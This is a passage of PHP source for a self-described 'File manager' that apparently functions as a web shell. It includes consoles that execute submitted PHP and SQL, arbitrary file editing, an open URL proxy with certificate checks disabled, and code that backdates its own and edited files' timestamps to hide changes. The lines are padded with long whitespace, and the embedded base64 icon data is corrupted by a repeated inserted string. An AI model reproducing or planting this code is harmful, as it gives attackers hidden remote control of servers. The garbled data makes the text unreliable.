	                 '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	                 <input type="submit" value="'.__('Show').'" class="fm_input">
                                               
	                 </form>

</div>
                          
';

	                 if ($url) {
	                 	                 $ch = curl_init($url);

	                 	                 curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

	                 	                 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	                 	                 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

	                 	                 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

	                 	                 curl_setopt($ch, CURLOPT_HEADER, 0);
	                 	                 curl_setopt($ch, CURLOPT_REFERER, $url);

	                 	                 curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

	                 	                 $result = curl_exec($ch);
                              
	                 	                 curl_close($ch);
	                 	                 //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
                                        
	                 	                 $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
	                 	                 $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

	                 	                 echo $result;
                                                        
	                 	                 die();
                                                                                        
	                 } 
}

?>
                                    
<!doctype html>

<html>
<head>     
                                       
	                 <meta charset="utf-8" />

	                 <meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>

<style>
                                                
body {

	                 background-color:	                 white;

	                 font-family:	                 	                 Verdana, Arial, Helvetica, sans-serif;
	                 font-size:	                 	                 	                 8pt;
                                                     
	                 margin:	                 	                 	                 	                 0px;

}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }
                                               
a.th:link { color: #FFA34F; text-decoration: none; }
                                                                                  
a.th:active { color: #FFA34F; text-decoration: none; }
                                                                                             
a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
                                                                    
	                 background-color: #ACBBC6
}
                                                                   


th, td { 
	                 font:	                 normal 8pt Verdana, Arial, Helvetica, sans-serif;

	                 padding: 3px;

}

th	                 {
	                 height:	                 	                 	                 	                 25px;
                                                                     
	                 background-color:	                 #006699;

	                 color:	                 	                 	                 	                 #FFA34F;
	                 font-weight:	                 	                 bold;

	                 font-size:	                 	                 	                 11px;
}
                                                                                         

                                       
.row1 {

	                 background-color:	                 #EFEFEF;

}
                                 

.row2 {
                                                                                           
	                 background-color:	                 #DEE3E7;
}
                                                  


.row3 {
                                   
	                 background-color:	                 #D1D7DC;

	                 padding: 5px;
}


                                                       
tr.row1:hover {

	                 background-color:	                 #F3FCFC;
}

                                                                  
tr.row2:hover {

	                 background-color:	                 #F0F6F6;
}


                                                                     
.whole {
                              
	                 width: 100%;
}
                         


.all tbody td:first-child{width:100%;}

                                                                        
textarea {

	                 font: 9pt 'Courier New', courier;

	                 line-height: 125%;
                                                                                         
	                 padding: 5px;

}



.textarea_input {

	                 height: 1em;

}



.textarea_input:focus {

	                 height: auto;
                                                                                 
}



input[type=submit]{

	                 background: #FCFCFC none !important;

	                 cursor: pointer;
                       
}



.folder {
                                         
    background-image: url("data:image/png;base64,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");

}
                         

                                                                            
.file {
                          
    background-image: url("data:image/png;base64,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");

}
<?=fm_home_style()?>
.img {
                                                  
	                 background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTMbfmHPCmzfK437cozMcXvXbBfZmW4xkhWc8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}

    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
                                                      
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
                                             
	                 #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
                                                                                 
	                 #header_table table td {display:inline;float:left;}

}

</style>

</head>
<body>
                                     
<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){

	                 $res = empty($_POST['sql']) ? '' : $_POST['sql'];
                                                                                        
	                 $res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	                 $res = empty($_POST['php']) ? '' : $_POST['php'];
                                      
	                 $res_lng = 'php';

} 
if (isset($_GET['fm_settings'])) {
                                                                                      
	                 echo ' 

<table class="whole">
                                                                                  
<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
                                                                                                  
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
                          
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
                                                                                             
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
                                            
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
                                       
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
                                                                                             
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>

</table>
                                                              
<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
                                                                                          
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
                     
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>

</table>';
                                                                          
echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	                 die($proxy_form);
} elseif (isset($res_lng)) {	                 

?>
<table class="whole">
<tr>
                                                                                              
    <th><?=__('File manager').' - '.$path?></th>

</tr>
                                                                                   
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	                 if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	                 else echo '</h2></td><td>'.fm_run_input('sql');

	                 ?></td></tr></table></td>
</tr>
<tr>

    <td class="row1">

	                 	                 <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
	                 	                 <form action="" method="POST" name="console">

	                 	                 <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

	                 	                 <input type="reset" value="<?=__('Reset')?>">

	                 	                 <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){
                        
	                 $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	                 $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
                      
	                 $select .= '<option value="-1">' . __('Select') . "</option>\n";
                                  
	                 foreach ($tmpl as $key=>$value){

	                 	                 $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	                 }

	                 $select .= "</select>\n";
	                 echo $select;
                                                        
}

?>

	                 	                 </form>
                                                                                                    
	                 </td>

</tr>
</table>

<?php

	                 if (!empty($res)) {

	                 	                 $fun='fm_'.$res_lng;
                                                                               
	                 	                 echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	                 }

} elseif (!empty($_REQUEST['edit'])){
	                 if(!empty($_REQUEST['save'])) {

	                 	                 $fn = $path . $_REQUEST['edit'];
                                                                   
	                 	                 $filemtime = filemtime($fn);
	                     if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
                                                                             
	                 	                 else $msg .= __('Error occurred');
                                   
	                 	                 if ($_GET['edit']==basename(__FILE__)) {

	                 	                 	                 touch(__FILE__,1415116371);
	                 	                 } else {
                                          
	                 	                 	                 if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
	                 	                 }

	                 }

    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

    $backlink = $url_inc . '&path=' . $path;
?>

<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>
<tr>

    <td class="row1">
        <?=$msg?>

	                 </td>

</tr>

<tr>

    <td class="row1">
                                                     
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	                 </td>
                                                                               
</tr>
                                                                                         
<tr>

    <td class="row1" align="center">
                                                                                            
        <form name="form1" method="post" action="<?=$editlink?>">

            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
